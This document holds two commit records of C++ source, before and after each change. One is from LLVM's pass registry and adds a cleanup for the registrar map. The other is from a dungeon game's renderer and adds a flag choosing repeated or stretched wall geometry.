AnalysisGroupInfoMap[InterfaceInfo]; assert(AGI.Implementations.count(ImplementationInfo) == 0 && "Cannot add a pass to the same analysis group more than once!"); AGI.Implementations.insert(ImplementationInfo); if (isDefault) { assert(InterfaceInfo->getNormalCtor() == 0 && "Default implementation for analysis group already specified!"); assert(ImplementationInfo->getNormalCtor() && "Cannot specify pass as default if it does not have a default ctor"); InterfaceInfo->setNormalCtor(ImplementationInfo->getNormalCtor()); } } }; } static std::vector<PassRegistrationListener*> *Listeners = 0; static sys::SmartMutex<true> ListenersLock; // FIXME: This should use ManagedStatic to manage the pass registrar. // Unfortunately, we can't do this, because passes are registered with static // ctors, and having llvm_shutdown clear this map prevents successful // ressurection after llvm_shutdown is run. static PassRegistrar *getPassRegistrar() { static PassRegistrar *PassRegistrarObj = 0; // Use double-checked locking to safely initialize the registrar when // we're running in multithreaded mode. PassRegistrar* tmp = PassRegistrarObj; if (llvm_is_multithreaded()) { sys::MemoryFence(); if (!tmp) { llvm_acquire_global_lock(); tmp = PassRegistrarObj; if (!tmp) { tmp = new PassRegistrar(); sys::MemoryFence(); PassRegistrarObj = tmp; } llvm_release_global_lock(); } } else if (!tmp) { PassRegistrarObj = new PassRegistrar(); } return PassRegistrarObj; } // getPassInfo - Return the PassInfo data structure that corresponds to this // pass... const PassInfo *Pass::getPassInfo() const { return lookupPassInfo(PassID); } const PassInfo *Pass::lookupPassInfo(intptr_t TI) { return getPassRegistrar()->GetPassInfo(TI); } const PassInfo *Pass::lookupPassInfo(StringRef Arg) { return getPassRegistrar()->GetPassInfo(Arg); } void PassInfo::registerPass() { getPassRegistrar()->RegisterPass(*this); // Notify any listeners. sys::SmartScopedLock<true> Lock(ListenersLock); if (Listeners) for (std::vector<PassRegistrationListener*>::iterator I = Listeners->begin(), E = Listeners->end(); I != E; ++I) (*I)->passRegistered(this); } void PassInfo::unregisterPass() { getPassRegistrar()->UnregisterPass(*this); } //===----------------------------------------------------------------------===// // Analysis Group Implementation Code //===----------------------------------------------------------------------===// // RegisterAGBase implementation // RegisterAGBase::RegisterAGBase(const char *Name, intptr_t InterfaceID, intptr_t PassID, bool isDefault) : PassInfo(Name, InterfaceID) { PassInfo *InterfaceInfo = const_cast<PassInfo*>(Pass::lookupPassInfo(InterfaceID)); if (InterfaceInfo == 0) { // First reference to Interface, register it now. registerPass(); InterfaceInfo = this; } assert(isAnalysisGroup() && "Trying to join an analysis group that is a normal pass!"); if (PassID) { const PassInfo *ImplementationInfo = Pass::lookupPassInfo(PassID); assert(ImplementationInfo && "Must register pass before adding to AnalysisGroup!"); // Make sure we keep track of the fact that the implementation implements // the interface. PassInfo *IIPI = const_cast<PassInfo*>(ImplementationInfo); IIPI->addInterfaceImplemented(InterfaceInfo); getPassRegistrar()->RegisterAnalysisGroup(InterfaceInfo, IIPI, isDefault); } } //===----------------------------------------------------------------------===// // PassRegistrationListener implementation // // PassRegistrationListener ctor - Add the current object to the list of // PassRegistrationListeners... PassRegistrationListener::PassRegistrationListener() { sys::SmartScopedLock<true> Lock(ListenersLock); if (!Listeners) Listeners = new std::vector<PassRegistrationListener*>(); Listeners->push_back(this); } // dtor - Remove object from list of listeners... PassRegistrationListener::~PassRegistrationListener() { sys::SmartScopedLock<true> Lock(ListenersLock); std::vector<PassRegistrationListener*>::iterator I = std::find(Listeners->begin(), Listeners->end(), this); assert(Listeners && I != Listeners->end() && "PassRegistrationListener not registered!"); Listeners->erase(I); if (Listeners->empty()) { delete Listeners; Listeners = 0; } } // enumeratePasses - Iterate over the registered passes, calling the // passEnumerate callback on each PassInfo object. // void PassRegistrationListener::enumeratePasses() { getPassRegistrar()->EnumerateWith(this); } PassNameParser::~PassNameParser() {} //===----------------------------------------------------------------------===// // AnalysisUsage Class Implementation // namespace { struct GetCFGOnlyPasses : public PassRegistrationListener { typedef AnalysisUsage::VectorType VectorType; VectorType &CFGOnlyList; GetCFGOnlyPasses(VectorType &L) : CFGOnlyList(L) {} void passEnumerate(const PassInfo *P) { if (P->isCFGOnlyPass()) CFGOnlyList.push_back(P); } }; } // setPreservesCFG - This function should be called to by the pass, iff they do // not: // // 1. Add or remove basic blocks from the function // 2. Modify terminator instructions in any way. // // This function annotates the AnalysisUsage info object to say that analyses // that only depend on the CFG are preserved by this pass. // void AnalysisUsage::setPreservesCFG() { // Since this transformation doesn't modify the CFG, it preserves all analyses // that only depend on the CFG (like dominators, loop info, etc...) GetCFGOnlyPasses(Preserved).enumeratePasses(); } <commit_msg>Use a ManagedCleanup to prevent leaking the PassRegistrar map. In breaks the use case where someone wants to resurrect LLVM after calling llvm_shutdown, but I'm not aware of any clients that are affected by this.<commit_after>//===- Pass.cpp - LLVM Pass Infrastructure Implementation -----------------===// // // The LLVM Compiler Infrastructure // // This file is distributed under the University of Illinois Open Source // License. See LICENSE.TXT for details. // //===----------------------------------------------------------------------===// // // This file implements the LLVM Pass infrastructure. It is primarily // responsible with ensuring that passes are executed and batched together // optimally. // //===----------------------------------------------------------------------===// #include "llvm/Pass.h" #include "llvm/PassManager.h" #include "llvm/Module.h" #include "llvm/ADT/STLExtras.h" #include "llvm/ADT/StringMap.h" #include "llvm/Assembly/PrintModulePass.h" #include "llvm/Support/Debug.h" #include "llvm/Support/ManagedStatic.h" #include "llvm/Support/PassNameParser.h" #include "llvm/Support/raw_ostream.h" #include "llvm/System/Atomic.h" #include "llvm/System/Mutex.h" #include "llvm/System/Threading.h" #include <algorithm> #include <map> #include <set> using namespace llvm; //===----------------------------------------------------------------------===// // Pass Implementation // // Force out-of-line virtual method. Pass::~Pass() { delete Resolver; } // Force out-of-line virtual method. ModulePass::~ModulePass() { } Pass *ModulePass::createPrinterPass(raw_ostream &O, const std::string &Banner) const { return createPrintModulePass(&O, false, Banner); } PassManagerType ModulePass::getPotentialPassManagerType() const { return PMT_ModulePassManager; } bool Pass::mustPreserveAnalysisID(const PassInfo *AnalysisID) const { return Resolver->getAnalysisIfAvailable(AnalysisID, true) != 0; } // dumpPassStructure - Implement the -debug-passes=Structure option void Pass::dumpPassStructure(unsigned Offset) { dbgs().indent(Offset*2) << getPassName() << "\n"; } /// getPassName - Return a nice clean name for a pass. This usually /// implemented in terms of the name that is registered by one of the /// Registration templates, but can be overloaded directly. /// const char *Pass::getPassName() const { if (const PassInfo *PI = getPassInfo()) return PI->getPassName(); return "Unnamed pass: implement Pass::getPassName()"; } void Pass::preparePassManager(PMStack &) { // By default, don't do anything. } PassManagerType Pass::getPotentialPassManagerType() const { // Default implementation. return PMT_Unknown; } void Pass::getAnalysisUsage(AnalysisUsage &) const { // By default, no analysis results are used, all are invalidated. } void Pass::releaseMemory() { // By default, don't do anything. } void Pass::verifyAnalysis() const { // By default, don't do anything. } // print - Print out the internal state of the pass. This is called by Analyze // to print out the contents of an analysis. Otherwise it is not necessary to // implement this method. // void Pass::print(raw_ostream &O,const Module*) const { O << "Pass::print not implemented for pass: '" << getPassName() << "'!\n"; } // dump - call print(cerr); void Pass::dump() const { print(dbgs(), 0); } //===----------------------------------------------------------------------===// // ImmutablePass Implementation // // Force out-of-line virtual method. ImmutablePass::~ImmutablePass() { } void ImmutablePass::initializePass() { // By default, don't do anything. } //===----------------------------------------------------------------------===// // FunctionPass Implementation // Pass *FunctionPass::createPrinterPass(raw_ostream &O, const std::string &Banner) const { return createPrintFunctionPass(Banner, &O); } // run - On a module, we run this pass by initializing, runOnFunction'ing once // for every function in the module, then by finalizing. // bool FunctionPass::runOnModule(Module &M) { bool Changed = doInitialization(M); for (Module::iterator I = M.begin(), E = M.end(); I != E; ++I) if (!I->isDeclaration()) // Passes are not run on external functions! Changed |= runOnFunction(*I); return Changed | doFinalization(M); } // run - On a function, we simply initialize, run the function, then finalize. // bool FunctionPass::run(Function &F) { // Passes are not run on external functions! if (F.isDeclaration()) return false; bool Changed = doInitialization(*F.getParent()); Changed |= runOnFunction(F); return Changed | doFinalization(*F.getParent()); } bool FunctionPass::doInitialization(Module &) { // By default, don't do anything. return false; } bool FunctionPass::doFinalization(Module &) { // By default, don't do anything. return false; } PassManagerType FunctionPass::getPotentialPassManagerType() const { return PMT_FunctionPassManager; } //===----------------------------------------------------------------------===// // BasicBlockPass Implementation // Pass *BasicBlockPass::createPrinterPass(raw_ostream &O, const std::string &Banner) const { llvm_unreachable("BasicBlockPass printing unsupported."); return 0; } // To run this pass on a function, we simply call runOnBasicBlock once for each // function. // bool BasicBlockPass::runOnFunction(Function &F) { bool Changed = doInitialization(F); for (Function::iterator I = F.begin(), E = F.end(); I != E; ++I) Changed |= runOnBasicBlock(*I); return Changed | doFinalization(F); } bool BasicBlockPass::doInitialization(Module &) { // By default, don't do anything. return false; } bool BasicBlockPass::doInitialization(Function &) { // By default, don't do anything. return false; } bool BasicBlockPass::doFinalization(Function &) { // By default, don't do anything. return false; } bool BasicBlockPass::doFinalization(Module &) { // By default, don't do anything. return false; } PassManagerType BasicBlockPass::getPotentialPassManagerType() const { return PMT_BasicBlockPassManager; } //===----------------------------------------------------------------------===// // Pass Registration mechanism // namespace { class PassRegistrar { /// Guards the contents of this class. mutable sys::SmartMutex<true> Lock; /// PassInfoMap - Keep track of the passinfo object for each registered llvm /// pass. typedef std::map<intptr_t, const PassInfo*> MapType; MapType PassInfoMap; typedef StringMap<const PassInfo*> StringMapType; StringMapType PassInfoStringMap; /// AnalysisGroupInfo - Keep track of information for each analysis group. struct AnalysisGroupInfo { std::set<const PassInfo *> Implementations; }; /// AnalysisGroupInfoMap - Information for each analysis group. std::map<const PassInfo *, AnalysisGroupInfo> AnalysisGroupInfoMap; public: const PassInfo *GetPassInfo(intptr_t TI) const { sys::SmartScopedLock<true> Guard(Lock); MapType::const_iterator I = PassInfoMap.find(TI); return I != PassInfoMap.end() ? I->second : 0; } const PassInfo *GetPassInfo(StringRef Arg) const { sys::SmartScopedLock<true> Guard(Lock); StringMapType::const_iterator I = PassInfoStringMap.find(Arg); return I != PassInfoStringMap.end() ? I->second : 0; } void RegisterPass(const PassInfo &PI) { sys::SmartScopedLock<true> Guard(Lock); bool Inserted = PassInfoMap.insert(std::make_pair(PI.getTypeInfo(),&PI)).second; assert(Inserted && "Pass registered multiple times!"); Inserted=Inserted; PassInfoStringMap[PI.getPassArgument()] = &PI; } void UnregisterPass(const PassInfo &PI) { sys::SmartScopedLock<true> Guard(Lock); MapType::iterator I = PassInfoMap.find(PI.getTypeInfo()); assert(I != PassInfoMap.end() && "Pass registered but not in map!"); // Remove pass from the map. PassInfoMap.erase(I); PassInfoStringMap.erase(PI.getPassArgument()); } void EnumerateWith(PassRegistrationListener *L) { sys::SmartScopedLock<true> Guard(Lock); for (MapType::const_iterator I = PassInfoMap.begin(), E = PassInfoMap.end(); I != E; ++I) L->passEnumerate(I->second); } /// Analysis Group Mechanisms. void RegisterAnalysisGroup(PassInfo *InterfaceInfo, const PassInfo *ImplementationInfo, bool isDefault) { sys::SmartScopedLock<true> Guard(Lock); AnalysisGroupInfo &AGI = AnalysisGroupInfoMap[InterfaceInfo]; assert(AGI.Implementations.count(ImplementationInfo) == 0 && "Cannot add a pass to the same analysis group more than once!"); AGI.Implementations.insert(ImplementationInfo); if (isDefault) { assert(InterfaceInfo->getNormalCtor() == 0 && "Default implementation for analysis group already specified!"); assert(ImplementationInfo->getNormalCtor() && "Cannot specify pass as default if it does not have a default ctor"); InterfaceInfo->setNormalCtor(ImplementationInfo->getNormalCtor()); } } }; } static std::vector<PassRegistrationListener*> *Listeners = 0; static sys::SmartMutex<true> ListenersLock; static PassRegistrar *PassRegistrarObj = 0; static PassRegistrar *getPassRegistrar() { // Use double-checked locking to safely initialize the registrar when // we're running in multithreaded mode. PassRegistrar* tmp = PassRegistrarObj; if (llvm_is_multithreaded()) { sys::MemoryFence(); if (!tmp) { llvm_acquire_global_lock(); tmp = PassRegistrarObj; if (!tmp) { tmp = new PassRegistrar(); sys::MemoryFence(); PassRegistrarObj = tmp; } llvm_release_global_lock(); } } else if (!tmp) { PassRegistrarObj = new PassRegistrar(); } return PassRegistrarObj; } // FIXME: We use ManagedCleanup to erase the pass registrar on shutdown. // Unfortunately, passes are registered with static ctors, and having // llvm_shutdown clear this map prevents successful ressurection after // llvm_shutdown is run. Ideally we should find a solution so that we don't // leak the map, AND can still resurrect after shutdown. void cleanupPassRegistrar(void*) { if (PassRegistrarObj) { delete PassRegistrarObj; PassRegistrarObj = 0; } } ManagedCleanup<&cleanupPassRegistrar> registrarCleanup; // getPassInfo - Return the PassInfo data structure that corresponds to this // pass... const PassInfo *Pass::getPassInfo() const { return lookupPassInfo(PassID); } const PassInfo *Pass::lookupPassInfo(intptr_t TI) { return getPassRegistrar()->GetPassInfo(TI); } const PassInfo *Pass::lookupPassInfo(StringRef Arg) { return getPassRegistrar()->GetPassInfo(Arg); } void PassInfo::registerPass() { getPassRegistrar()->RegisterPass(*this); // Notify any listeners. sys::SmartScopedLock<true> Lock(ListenersLock); if (Listeners) for (std::vector<PassRegistrationListener*>::iterator I = Listeners->begin(), E = Listeners->end(); I != E; ++I) (*I)->passRegistered(this); } void PassInfo::unregisterPass() { getPassRegistrar()->UnregisterPass(*this); } //===----------------------------------------------------------------------===// // Analysis Group Implementation Code //===----------------------------------------------------------------------===// // RegisterAGBase implementation // RegisterAGBase::RegisterAGBase(const char *Name, intptr_t InterfaceID, intptr_t PassID, bool isDefault) : PassInfo(Name, InterfaceID) { PassInfo *InterfaceInfo = const_cast<PassInfo*>(Pass::lookupPassInfo(InterfaceID)); if (InterfaceInfo == 0) { // First reference to Interface, register it now. registerPass(); InterfaceInfo = this; } assert(isAnalysisGroup() && "Trying to join an analysis group that is a normal pass!"); if (PassID) { const PassInfo *ImplementationInfo = Pass::lookupPassInfo(PassID); assert(ImplementationInfo && "Must register pass before adding to AnalysisGroup!"); // Make sure we keep track of the fact that the implementation implements // the interface. PassInfo *IIPI = const_cast<PassInfo*>(ImplementationInfo); IIPI->addInterfaceImplemented(InterfaceInfo); getPassRegistrar()->RegisterAnalysisGroup(InterfaceInfo, IIPI, isDefault); } } //===----------------------------------------------------------------------===// // PassRegistrationListener implementation // // PassRegistrationListener ctor - Add the current object to the list of // PassRegistrationListeners... PassRegistrationListener::PassRegistrationListener() { sys::SmartScopedLock<true> Lock(ListenersLock); if (!Listeners) Listeners = new std::vector<PassRegistrationListener*>(); Listeners->push_back(this); } // dtor - Remove object from list of listeners... PassRegistrationListener::~PassRegistrationListener() { sys::SmartScopedLock<true> Lock(ListenersLock); std::vector<PassRegistrationListener*>::iterator I = std::find(Listeners->begin(), Listeners->end(), this); assert(Listeners && I != Listeners->end() && "PassRegistrationListener not registered!"); Listeners->erase(I); if (Listeners->empty()) { delete Listeners; Listeners = 0; } } // enumeratePasses - Iterate over the registered passes, calling the // passEnumerate callback on each PassInfo object. // void PassRegistrationListener::enumeratePasses() { getPassRegistrar()->EnumerateWith(this); } PassNameParser::~PassNameParser() {} //===----------------------------------------------------------------------===// // AnalysisUsage Class Implementation // namespace { struct GetCFGOnlyPasses : public PassRegistrationListener { typedef AnalysisUsage::VectorType VectorType; VectorType &CFGOnlyList; GetCFGOnlyPasses(VectorType &L) : CFGOnlyList(L) {} void passEnumerate(const PassInfo *P) { if (P->isCFGOnlyPass()) CFGOnlyList.push_back(P); } }; } // setPreservesCFG - This function should be called to by the pass, iff they do // not: // // 1. Add or remove basic blocks from the function // 2. Modify terminator instructions in any way. // // This function annotates the AnalysisUsage info object to say that analyses // that only depend on the CFG are preserved by this pass. // void AnalysisUsage::setPreservesCFG() { // Since this transformation doesn't modify the CFG, it preserves all analyses // that only depend on the CFG (like dominators, loop info, etc...) GetCFGOnlyPasses(Preserved).enumeratePasses(); } <|endoftext|>
<commit_before>// // Created by monty on 07/02/17. // #include "glm/glm.hpp" #include "glm/gtc/matrix_transform.hpp" #include <memory> #include <iostream> #include <functional> #include <utility> #include <unordered_map> #include <map> #include <EASTL/vector.h> #include <EASTL/array.h> using eastl::vector; using eastl::array; #include "VBORenderingJob.h" #include "NativeBitmap.h" #include "Material.h" #include "Trig.h" #include "TrigBatch.h" #include "MeshObject.h" #include "MaterialList.h" #include "Scene.h" #include "ETextures.h" #include "VBORenderingJob.h" #include "VBORegister.h" #include "Vec2i.h" #include "IMapElement.h" #include "CTeam.h" #include "CItem.h" #include "CActor.h" #include "CGameDelegate.h" #include "CMap.h" #include "CTile3DProperties.h" #include "NoudarDungeonSnapshot.h" #include "RenderingJobSnapshotAdapter.h" namespace odb { const static glm::mat4 identity = glm::mat4(1.0f); #ifdef OSMESA static int RenderingJobSnapshotAdapter::visibility; #endif glm::mat4 RenderingJobSnapshotAdapter::getSkyTransform(long animationTime) { #ifndef OSMESA long offset = animationTime; int integerPart = offset % ((kSkyTextureLength * 2) * 1000); float finalOffset = integerPart / 1000.0f; return glm::translate(identity, glm::vec3(finalOffset, 0.0f, 0.0f)); #else return glm::mat4(1.0f); #endif } glm::mat4 RenderingJobSnapshotAdapter::getCubeTransform(glm::vec3 translation, float scale = 1.0f) { return glm::scale( glm::translate(identity, translation), glm::vec3( 1.0f, scale, 1.0f ) ); } glm::mat4 RenderingJobSnapshotAdapter::getFloorTransform(glm::vec3 translation) { return glm::translate(identity, translation); } glm::vec2 RenderingJobSnapshotAdapter::easingAnimationCurveStep(glm::vec2 prevPosition, glm::vec2 destPosition, long animationTime, long timestamp) { float step = (((float) ((timestamp - animationTime))) / ((float) kAnimationLength)); float curve = 0.0f; #ifdef OSMESA curve = step; #else if (step < 0.5f) { curve = ((2.0f * step) * (2.0f * step)) / 2.0f; } else { curve = (sqrt((step * 2.0f) - 1.0f) / 2.0f) + 0.5f; } #endif return {(curve * (destPosition.x - prevPosition.x)) + prevPosition.x, (curve * (destPosition.y - prevPosition.y)) + prevPosition.y}; } void RenderingJobSnapshotAdapter::readSnapshot(const NoudarDungeonSnapshot &snapshot, std::unordered_map<ETextures, vector<VBORenderingJob>> &batches, const CTilePropertyMap &tilePropertiesRegistry, const std::unordered_map<VBORegisterId, VBORegister> &VBORegisters, const std::unordered_map<std::string, ETextures> &textureRegistry ) { glm::vec3 pos; const auto &floorVBO = VBORegisters.at("floor"); batches.clear(); #ifdef OSMESA auto x0 = std::max( 0, snapshot.mCameraPosition.x - visibility ); auto x1 = std::min( Knights::kMapSize, snapshot.mCameraPosition.x + visibility ); auto z0 = std::max( 0, snapshot.mCameraPosition.y - visibility ); auto z1 = std::min( Knights::kMapSize, snapshot.mCameraPosition.y + visibility ); #else const auto &skyVBO = VBORegisters.at("sky"); batches[ETextures::Skybox].emplace_back(std::get<0>(skyVBO), std::get<1>(skyVBO), std::get<2>(skyVBO), getSkyTransform(snapshot.mTimestamp), 1.0f, true); batches[ETextures::Skybox].emplace_back(std::get<0>(skyVBO), std::get<1>(skyVBO), std::get<2>(skyVBO), getSkyTransform( snapshot.mTimestamp + kSkyTextureLength * 1000), 1.0f, true); auto x0 = 0; auto x1 = Knights::kMapSize - 1; auto z0 = 0; auto z1 = Knights::kMapSize - 1; #endif for (int z = z0; z <= z1; ++z) { for (int x = x0; x <= x1; ++x) { if (snapshot.mVisibilityMap[z][x] == EVisibility::kInvisible) { continue; } auto tile = snapshot.map[z][x]; #ifndef OSMESA Shade shade = ( snapshot.mLightMap[z][x] ) / 255.0f; #else Shade shade = 1.0f; #endif if (x == snapshot.mCursorPosition.x && z == snapshot.mCursorPosition.y) { shade = 1.5f; } if (tilePropertiesRegistry.count(tile) <= 0) { continue; } auto tileProperties = tilePropertiesRegistry.at(tile); if (tileProperties.mCeilingTexture != mNullTexture) { pos = glm::vec3(x * 2, -5 + (2.0f * tileProperties.mCeilingHeight), z * 2); batches[textureRegistry.at(tileProperties.mCeilingTexture)].emplace_back(std::get<0>(floorVBO), std::get<1>(floorVBO), std::get<2>(floorVBO), getFloorTransform(pos), shade, true); } if (tileProperties.mCeilingRepeatedWallTexture != mNullTexture) { const auto &tileVBO = VBORegisters.at(tileProperties.mVBOToRender); auto vboId = std::get<0>(tileVBO); auto vboIndicesId = std::get<1>(tileVBO); auto amount = std::get<2>(tileVBO); auto& repeatedBatches = batches[textureRegistry.at(tileProperties.mCeilingRepeatedWallTexture)]; #ifdef OSMESA pos = glm::vec3(x * 2, -4 + (2.0f * tileProperties.mCeilingHeight) + (tileProperties.mCeilingRepetitions) - 1.0f, z * 2); repeatedBatches.emplace_back( vboId, vboIndicesId, amount, getCubeTransform(pos, tileProperties.mCeilingRepetitions), shade, tileProperties.mNeedsAlphaTest); #else for (float y = 0; y < tileProperties.mCeilingRepetitions; ++y) { pos = glm::vec3(x * 2, -4.0f + (2.0f * tileProperties.mCeilingHeight) + (2.0 * y), z * 2); repeatedBatches.emplace_back( vboId, vboIndicesId, amount, getCubeTransform(pos), shade, tileProperties.mNeedsAlphaTest); } #endif } if (tileProperties.mMainWallTexture != mNullTexture) { const auto &tileVBO = VBORegisters.at(tileProperties.mVBOToRender); pos = glm::vec3(x * 2, -4.0f, z * 2); batches[textureRegistry.at(tileProperties.mMainWallTexture)].emplace_back( std::get<0>(tileVBO), std::get<1>(tileVBO), std::get<2>(tileVBO), getCubeTransform(pos), shade, tileProperties.mNeedsAlphaTest); } if (tileProperties.mFloorRepeatedWallTexture != mNullTexture) { const auto &tileVBO = VBORegisters.at(tileProperties.mVBOToRender); auto vboId = std::get<0>(tileVBO); auto vboIndicesId = std::get<1>(tileVBO); auto amount = std::get<2>(tileVBO); auto& repeatedBatches = batches[textureRegistry.at(tileProperties.mFloorRepeatedWallTexture)]; #ifdef OSMESA pos = glm::vec3(x * 2, -5.0f + (2.0f * tileProperties.mFloorHeight) - (tileProperties.mFloorRepetitions) , z * 2); repeatedBatches.emplace_back( vboId, vboIndicesId, amount, getCubeTransform(pos, tileProperties.mFloorRepetitions), shade, tileProperties.mNeedsAlphaTest); #else for (float y = 0; y < tileProperties.mFloorRepetitions; ++y) { //the final -1.0f in y is for accounting fore the block's length pos = glm::vec3(x * 2, -5.0f + (2.0f * tileProperties.mFloorHeight) - (2.0 * y) - 1.0f, z * 2); repeatedBatches.emplace_back( vboId, vboIndicesId, amount, getCubeTransform(pos), shade, tileProperties.mNeedsAlphaTest); } #endif } if (tileProperties.mFloorTexture != mNullTexture) { pos = glm::vec3(x * 2, -5.0f + (2.0f * tileProperties.mFloorHeight), z * 2); batches[textureRegistry.at(tileProperties.mFloorTexture)].emplace_back(std::get<0>(floorVBO), std::get<1>(floorVBO), std::get<2>(floorVBO), getFloorTransform(pos), shade, true); } } } } } <commit_msg>Allow switching the geometry strechting to other targets<commit_after>// // Created by monty on 07/02/17. // #include "glm/glm.hpp" #include "glm/gtc/matrix_transform.hpp" #include <memory> #include <iostream> #include <functional> #include <utility> #include <unordered_map> #include <map> #include <EASTL/vector.h> #include <EASTL/array.h> using eastl::vector; using eastl::array; #include "VBORenderingJob.h" #include "NativeBitmap.h" #include "Material.h" #include "Trig.h" #include "TrigBatch.h" #include "MeshObject.h" #include "MaterialList.h" #include "Scene.h" #include "ETextures.h" #include "VBORenderingJob.h" #include "VBORegister.h" #include "Vec2i.h" #include "IMapElement.h" #include "CTeam.h" #include "CItem.h" #include "CActor.h" #include "CGameDelegate.h" #include "CMap.h" #include "CTile3DProperties.h" #include "NoudarDungeonSnapshot.h" #include "RenderingJobSnapshotAdapter.h" namespace odb { const static glm::mat4 identity = glm::mat4(1.0f); #ifdef OSMESA static int RenderingJobSnapshotAdapter::visibility; #endif const static bool kUseRepeatedGeometryStances = #ifdef OSMESA false; #else false; #endif glm::mat4 RenderingJobSnapshotAdapter::getSkyTransform(long animationTime) { #ifndef OSMESA long offset = animationTime; int integerPart = offset % ((kSkyTextureLength * 2) * 1000); float finalOffset = integerPart / 1000.0f; return glm::translate(identity, glm::vec3(finalOffset, 0.0f, 0.0f)); #else return glm::mat4(1.0f); #endif } glm::mat4 RenderingJobSnapshotAdapter::getCubeTransform(glm::vec3 translation, float scale = 1.0f) { return glm::scale( glm::translate(identity, translation), glm::vec3( 1.0f, scale, 1.0f ) ); } glm::mat4 RenderingJobSnapshotAdapter::getFloorTransform(glm::vec3 translation) { return glm::translate(identity, translation); } glm::vec2 RenderingJobSnapshotAdapter::easingAnimationCurveStep(glm::vec2 prevPosition, glm::vec2 destPosition, long animationTime, long timestamp) { float step = (((float) ((timestamp - animationTime))) / ((float) kAnimationLength)); float curve = 0.0f; #ifdef OSMESA curve = step; #else if (step < 0.5f) { curve = ((2.0f * step) * (2.0f * step)) / 2.0f; } else { curve = (sqrt((step * 2.0f) - 1.0f) / 2.0f) + 0.5f; } #endif return {(curve * (destPosition.x - prevPosition.x)) + prevPosition.x, (curve * (destPosition.y - prevPosition.y)) + prevPosition.y}; } void RenderingJobSnapshotAdapter::readSnapshot(const NoudarDungeonSnapshot &snapshot, std::unordered_map<ETextures, vector<VBORenderingJob>> &batches, const CTilePropertyMap &tilePropertiesRegistry, const std::unordered_map<VBORegisterId, VBORegister> &VBORegisters, const std::unordered_map<std::string, ETextures> &textureRegistry ) { glm::vec3 pos; const auto &floorVBO = VBORegisters.at("floor"); batches.clear(); #ifdef OSMESA auto x0 = std::max( 0, snapshot.mCameraPosition.x - visibility ); auto x1 = std::min( Knights::kMapSize, snapshot.mCameraPosition.x + visibility ); auto z0 = std::max( 0, snapshot.mCameraPosition.y - visibility ); auto z1 = std::min( Knights::kMapSize, snapshot.mCameraPosition.y + visibility ); #else const auto &skyVBO = VBORegisters.at("sky"); batches[ETextures::Skybox].emplace_back(std::get<0>(skyVBO), std::get<1>(skyVBO), std::get<2>(skyVBO), getSkyTransform(snapshot.mTimestamp), 1.0f, true); batches[ETextures::Skybox].emplace_back(std::get<0>(skyVBO), std::get<1>(skyVBO), std::get<2>(skyVBO), getSkyTransform( snapshot.mTimestamp + kSkyTextureLength * 1000), 1.0f, true); auto x0 = 0; auto x1 = Knights::kMapSize - 1; auto z0 = 0; auto z1 = Knights::kMapSize - 1; #endif for (int z = z0; z <= z1; ++z) { for (int x = x0; x <= x1; ++x) { if (snapshot.mVisibilityMap[z][x] == EVisibility::kInvisible) { continue; } auto tile = snapshot.map[z][x]; #ifndef OSMESA Shade shade = ( snapshot.mLightMap[z][x] ) / 255.0f; #else Shade shade = 1.0f; #endif if (x == snapshot.mCursorPosition.x && z == snapshot.mCursorPosition.y) { shade = 1.5f; } if (tilePropertiesRegistry.count(tile) <= 0) { continue; } auto tileProperties = tilePropertiesRegistry.at(tile); if (tileProperties.mCeilingTexture != mNullTexture) { pos = glm::vec3(x * 2, -5 + (2.0f * tileProperties.mCeilingHeight), z * 2); batches[textureRegistry.at(tileProperties.mCeilingTexture)].emplace_back(std::get<0>(floorVBO), std::get<1>(floorVBO), std::get<2>(floorVBO), getFloorTransform(pos), shade, true); } if (tileProperties.mCeilingRepeatedWallTexture != mNullTexture) { const auto &tileVBO = VBORegisters.at(tileProperties.mVBOToRender); auto vboId = std::get<0>(tileVBO); auto vboIndicesId = std::get<1>(tileVBO); auto amount = std::get<2>(tileVBO); auto& repeatedBatches = batches[textureRegistry.at(tileProperties.mCeilingRepeatedWallTexture)]; if (kUseRepeatedGeometryStances) { for (float y = 0; y < tileProperties.mCeilingRepetitions; ++y) { pos = glm::vec3(x * 2, -4.0f + (2.0f * tileProperties.mCeilingHeight) + (2.0 * y), z * 2); repeatedBatches.emplace_back( vboId, vboIndicesId, amount, getCubeTransform(pos), shade, tileProperties.mNeedsAlphaTest); } } else { pos = glm::vec3(x * 2, -4 + (2.0f * tileProperties.mCeilingHeight) + (tileProperties.mCeilingRepetitions) - 1.0f, z * 2); repeatedBatches.emplace_back( vboId, vboIndicesId, amount, getCubeTransform(pos, tileProperties.mCeilingRepetitions), shade, tileProperties.mNeedsAlphaTest); } } if (tileProperties.mMainWallTexture != mNullTexture) { const auto &tileVBO = VBORegisters.at(tileProperties.mVBOToRender); pos = glm::vec3(x * 2, -4.0f, z * 2); batches[textureRegistry.at(tileProperties.mMainWallTexture)].emplace_back( std::get<0>(tileVBO), std::get<1>(tileVBO), std::get<2>(tileVBO), getCubeTransform(pos), shade, tileProperties.mNeedsAlphaTest); } if (tileProperties.mFloorRepeatedWallTexture != mNullTexture) { const auto &tileVBO = VBORegisters.at(tileProperties.mVBOToRender); auto vboId = std::get<0>(tileVBO); auto vboIndicesId = std::get<1>(tileVBO); auto amount = std::get<2>(tileVBO); auto& repeatedBatches = batches[textureRegistry.at(tileProperties.mFloorRepeatedWallTexture)]; if (kUseRepeatedGeometryStances) { for (float y = 0; y < tileProperties.mFloorRepetitions; ++y) { //the final -1.0f in y is for accounting fore the block's length pos = glm::vec3(x * 2, -5.0f + (2.0f * tileProperties.mFloorHeight) - (2.0 * y) - 1.0f, z * 2); repeatedBatches.emplace_back( vboId, vboIndicesId, amount, getCubeTransform(pos), shade, tileProperties.mNeedsAlphaTest); } } else { pos = glm::vec3(x * 2, -5.0f + (2.0f * tileProperties.mFloorHeight) - (tileProperties.mFloorRepetitions) , z * 2); repeatedBatches.emplace_back( vboId, vboIndicesId, amount, getCubeTransform(pos, tileProperties.mFloorRepetitions), shade, tileProperties.mNeedsAlphaTest); } } if (tileProperties.mFloorTexture != mNullTexture) { pos = glm::vec3(x * 2, -5.0f + (2.0f * tileProperties.mFloorHeight), z * 2); batches[textureRegistry.at(tileProperties.mFloorTexture)].emplace_back(std::get<0>(floorVBO), std::get<1>(floorVBO), std::get<2>(floorVBO), getFloorTransform(pos), shade, true); } } } } } <|endoftext|>
